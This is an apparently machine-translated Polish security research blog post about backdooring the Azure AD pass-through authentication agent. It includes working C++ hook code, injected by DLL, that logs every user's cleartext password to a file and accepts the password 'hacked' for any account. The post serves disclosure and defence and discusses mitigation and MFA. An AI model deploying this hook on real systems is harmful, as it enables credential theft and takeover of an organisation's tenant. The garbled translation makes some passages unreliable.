Klucz szkieletu platformy Azure: wykorzystanie autoryzacji przejścia w celu kradzieży poświadczeń

edycja: badacz bezpieczeństwa Adam Chester pisał wcześniej o usłudze Azure AD Connect for Red Teamers, mówiąc o podłączeniu funkcji uwierzytelniania. Sprawdź jego niesamowite write-up tutaj.

Streszczenie

jeśli atakujący naruszy serwer Azure agent organizacji–komponent potrzebny do synchronizacji usługi Azure AD z reklamą lokalną-może utworzyć backdoor, który pozwoli mu zalogować się jako dowolny zsynchronizowany użytkownik. Stworzyliśmy koncepcję proof-of-concept, która zmienia funkcję uwierzytelniania platformy Azure na 1.) podaj nam hasło „skeleton key”, które będzie działać dla wszystkich użytkowników i 2.) zrzuć wszystkie prawdziwe nazwy użytkowników i hasła o wyraźnym tekście do pliku.

uwierzytelnianie przechodzące za pomocą usługi Azure AD-Connect

Usługa Azure AD-Connect łączy środowisko Azure AD z domeną lokalną i udostępnia kilka metod uwierzytelniania:

  • Synchronizacja hashów haseł-metoda, która synchronizuje lokalne skróty on-prem z chmurą.
  • Pass-Through Authentication – metoda, która instaluje on-prem „agenta platformy Azure”, który uwierzytelnia zsynchronizowanych użytkowników z chmury.
  • Federacja-metoda oparta na infrastrukturze AD FS.

nasza metoda ataku wykorzystuje agenta platformy Azure używanego do uwierzytelniania przelotowego. Agent lokalny zbiera i weryfikuje poświadczenia otrzymane przez usługę Azure AD dla kont zsynchronizowanych z domenami lokalnymi.

przepływ uwierzytelniania

przepływ uwierzytelniania Azure Pass-Through

  1. użytkownik wprowadza swoją nazwę użytkownika i hasło w usłudze Azure AD/O365.
  2. Usługa Azure AD szyfruje poświadczenia za pomocą klucza publicznego i umieszcza je w kolejce agenta – trwałym połączeniu utworzonym przez agenta lokalnego. Następnie agent zbiera dane uwierzytelniające i odszyfrowuje je za pomocą swojego klucza prywatnego.
  3. agent uwierzytelnia użytkownika do lokalnego DC za pomocą funkcji API LogonUserW.
  4. DC weryfikuje poświadczenia i zwraca odpowiedź.
  5. odpowiedź lokalnego DC jest przekierowywana z powrotem do reklamy Azure.
  6. jeśli logowanie użytkownika zakończy się pomyślnie, użytkownik zostanie zalogowany.

nadużywanie agenta

aby wykorzystać agenta, potrzebujemy następujących:

  • Usługa Azure AD Connect skonfigurowana do uwierzytelniania przelotowego.
  • Uprawnienia administracyjne na serwerze z zainstalowanym Agentem platformy Azure.

po narażeniu serwera na działanie agenta platformy Azure możemy manipulować przepływem uwierzytelniania. Proces odpowiedzialny za weryfikację poświadczeń jest wygodnie nazywany AzureADConnectAuthenticationAgentservice.exe i opiera się na funkcji API LogonUserW. Dokumentacja firmy Microsoft stwierdza: „Agent uwierzytelniania próbuje zweryfikować nazwę użytkownika i hasło w lokalnej usłudze Active Directory za pomocą interfejsu API LogonUser Win32 z parametrem dwLogonType ustawionym na LOGON32_LOGON_NETWORK.

jeśli połączymy wywołanie API za pomocą APIMonitor (narzędzia, które może zaczepić dowolne wywołanie API systemu Windows, zakładając, że masz uprawnienia administratora), możemy zacząć szukać interesujących rzeczy w procesie uwierzytelniania:

API Monitor

użytkownik” noob „uwierzytelniony hasłem”mypassword”.

 Azure Agent in Danger (Ralph Wiggum meme)

Tworzenie monitora API

teraz, gdy wiemy, jak uzyskać dostęp do haseł, zobaczmy, czy możemy zautomatyzować ten proces.

plan polega na wstrzyknięciu biblioteki DLL do usługi AzureADConnectAuthenticationAgentservice.exe i przepisz wskaźnik do funkcji LogonUserW z naszą własną funkcją.

używając EasyHook, napisaliśmy bibliotekę DLL, która zaczepiła funkcję LogonUserW i zastąpiła ją nowym LogonUserW:

BOOL myLogonUserW(LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken){ //Write to file ofstream myfile; myfile.open("c:\temp\shhhh.txt", std::ios_base::app); string user = utf8_encode(lpszUsername); string pass = utf8_encode(lpszPassword);myfile << "Username: "; myfile << user << "\n"; myfile << "Password: "; myfile << pass << "\n\n"; myfile.close(); return LogonUserW(lpszUsername, lpszDomain, lpszPassword, dwLogonType, dwLogonProvider, phToken);}

zauważ, że funkcja wymaga takiej samej liczby parametrów jak LogonUserW. Gdy funkcja jest wywołana, tworzy plik ” shhhh.txt ” i zapisuje do niego zmienne nazwy użytkownika i hasła. Funkcja zwraca wynik rzeczywistego wywołania LogonUserW z początkowo podanymi parametrami.

wstrzykiwanie DLL

dzięki InjectAllTheThings i jego refleksyjnemu modułowi DLL załadowaliśmy naszą bibliotekę DLL do procesu i otrzymaliśmy następujące wyniki:

Wyczyść hasła tekstowe

każdy zsynchronizowany użytkownik, który łączy się z usługą Azure AD (np.

La Cerise Sur le Gâteau

nasz kolektor haseł potrzebuje tylko odrobiny „Nie wiem co”, aby przekształcić się w klucz szkieletowy Azure, umożliwiając atakującemu uwierzytelnienie (z jednym czynnikiem) jako każdy użytkownik, przy użyciu wcześniej określonego hasła.

dla naszego klucza szkieletowego zmodyfikujemy wartość zwracaną w funkcji LogonUserW, tak aby po wprowadzeniu hasła „zhakowanego” udało nam się zalogować, niezależnie od prawdziwego hasła użytkownika. LogonUserW jest funkcją logiczną, która otrzymuje wskaźnik do tokena użytkownika, wypełniając go tokenem użytkownika i zwracając true, jeśli się powiedzie.

trochę testów ujawnia, że zwrócenie fałszywego tokena lub braku tokena powoduje awarię procesu, więc program wymaga ważnego tokena.

gdzie możemy uzyskać token użytkownika, który przejdzie do funkcji bez generowania go?

cóż, ponieważ jesteśmy już w AzureADConnectAuthenticationAgentservice.proces exe, możemy pożyczyć token użytkownika!

nowa wersja:

BOOL myLogonUserW(LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken){ //Write to file ofstream myfile; myfile.open("c:\temp\beep.txt", std::ios_base::app); string user = utf8_encode(lpszUsername); string pass = utf8_encode(lpszPassword); //get time std::time_t result = std::time(nullptr); myfile << " "; myfile << std::asctime(std::localtime(&result)); myfile << "Username: "; myfile << user << "\n"; myfile << "Password: "; myfile << pass << "\n\n"; myfile.close(); string hacked = "hacked"; if(hacked.compare(pass)) { // Log the user in return LogonUserW(lpszUsername, lpszDomain, lpszPassword, dwLogonType, dwLogonProvider, phToken); } else { // Use Skeleton Key, return true OpenProcessToken(GetCurrentProcess(), TOKEN_READ, phToken); return true; }}

wywołując OpenProcessToken wypełniamy zmienną phToken własnym tokenem procesu.

działa jak czar!

chociaż każdy użytkownik może nadal łączyć się z własnym hasłem, możemy z powodzeniem uwierzytelnić się jako każdy użytkownik za pomocą hasła „hacked”.

proszę bardzo …

w tym momencie atakujący uzyskał pełną i pełną kontrolę nad najemcą i może zalogować się jako każdy użytkownik, w tym Globalne konto administratora. To koniec.

ostatnie przemyślenia

instalacja klucza szkieletowego na agencie Azure może być przydatna dla:

  • zwiększanie uprawnień do administratora globalnego (co z kolei pozwala kontrolować dzierżawcę platformy Azure)
  • uzyskiwanie dostępu do środowiska lokalnego organizacji poprzez Resetowanie hasła administratora domeny (zakładając, że włączone jest odpisywanie hasła)
  • utrzymywanie trwałości w organizacji
  • zbieranie haseł tekstowych

odpowiedź Microsoft Security Response Center na nasz raport prowadzi nas do przekonania, że łatka nie zostanie stworzona:

ten raport nie wydaje się wskazywać na słabość produktu lub usługi firmy Microsoft, która umożliwiłaby atakującemu naruszenie integralności, dostępności lub poufności oferty firmy Microsoft. W tym przypadku atakujący musi najpierw skompromitować maszynę, zanim będzie mógł przejąć usługę.

chociaż nie jestem zaznajomiony z wewnętrznym działaniem uwierzytelniania przechodzącego platformy Azure, mogę zasugerować kilka rozwiązań, które mogą pomóc złagodzić tę lukę. Na przykład możliwe jest przekazanie zaszyfrowanych poświadczeń z Agenta do agenta scentralizowanego, który znajduje się na DC (zazwyczaj dobrze chroniony serwer). Agent DC zweryfikuje poświadczenia i odpowie za pomocą zaszyfrowanej odpowiedzi, którą może otworzyć tylko usługa chmury Azure. Atakujący, który uzyskał pełną kontrolę nad DC już wygrał, wszelkie wynikające z tego exploity są przez to przyćmione.

jeden z naszych klientów miał również bardzo ciekawe podejście do tego:

klucz szkieletowy może stanowić problem w środowiskach, które umożliwiają użytkownikowi logowanie się do kont Azure/O365 bez MFA, ale zdolność Agenta do przechwytywania każdego identyfikatora logowania i hasła w postaci zwykłego tekstu podczas uwierzytelniania platformy Azure za pomocą lokalnego DC jest ogromnym problemem. Zapewniłoby to atakującemu masę ważnych kont użytkowników, które mogłyby być używane do logowania się do zasobów lokalnych jako różni użytkownicy. Nagle Administrator serwera, który nie miał dostępu do baz danych, innych urządzeń i zasobów, ma do dyspozycji wystarczającą ilość kont użytkowników, aby przemierzać wszystkie miejsca i uzyskiwać dostęp do baz danych, których wcześniej nie miał. Tak, można argumentować, że chwytając reklamę .plik dit zrobiłby to również, ale te hasła są nadal haszowane, potrzebujesz dodatkowego czasu, aby albo złamać hasze offline, albo użyć ataku typu hash (z których wiele zostanie wykrytych). Ta nowa metoda wydaje się znacznie łatwiejsza w użyciu dla aktora zagrożeń i trudniejsza do wykrycia przez zespół podczerwieni.

zapobieganie

uprzywilejowani atakujący mogą użyć tego exploita do zainstalowania backdoora lub zebrania haseł. Tradycyjna analiza dziennika może tego nie wykryć, jeśli atakujący wie, jak zatrzeć ślady.

Korzystanie z MFA uniemożliwi atakującym łączenie się z chmurą Azure za pomocą fałszywego hasła, chociaż ten atak może być użyty do zbierania haseł w środowiskach obsługujących MFA.

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany.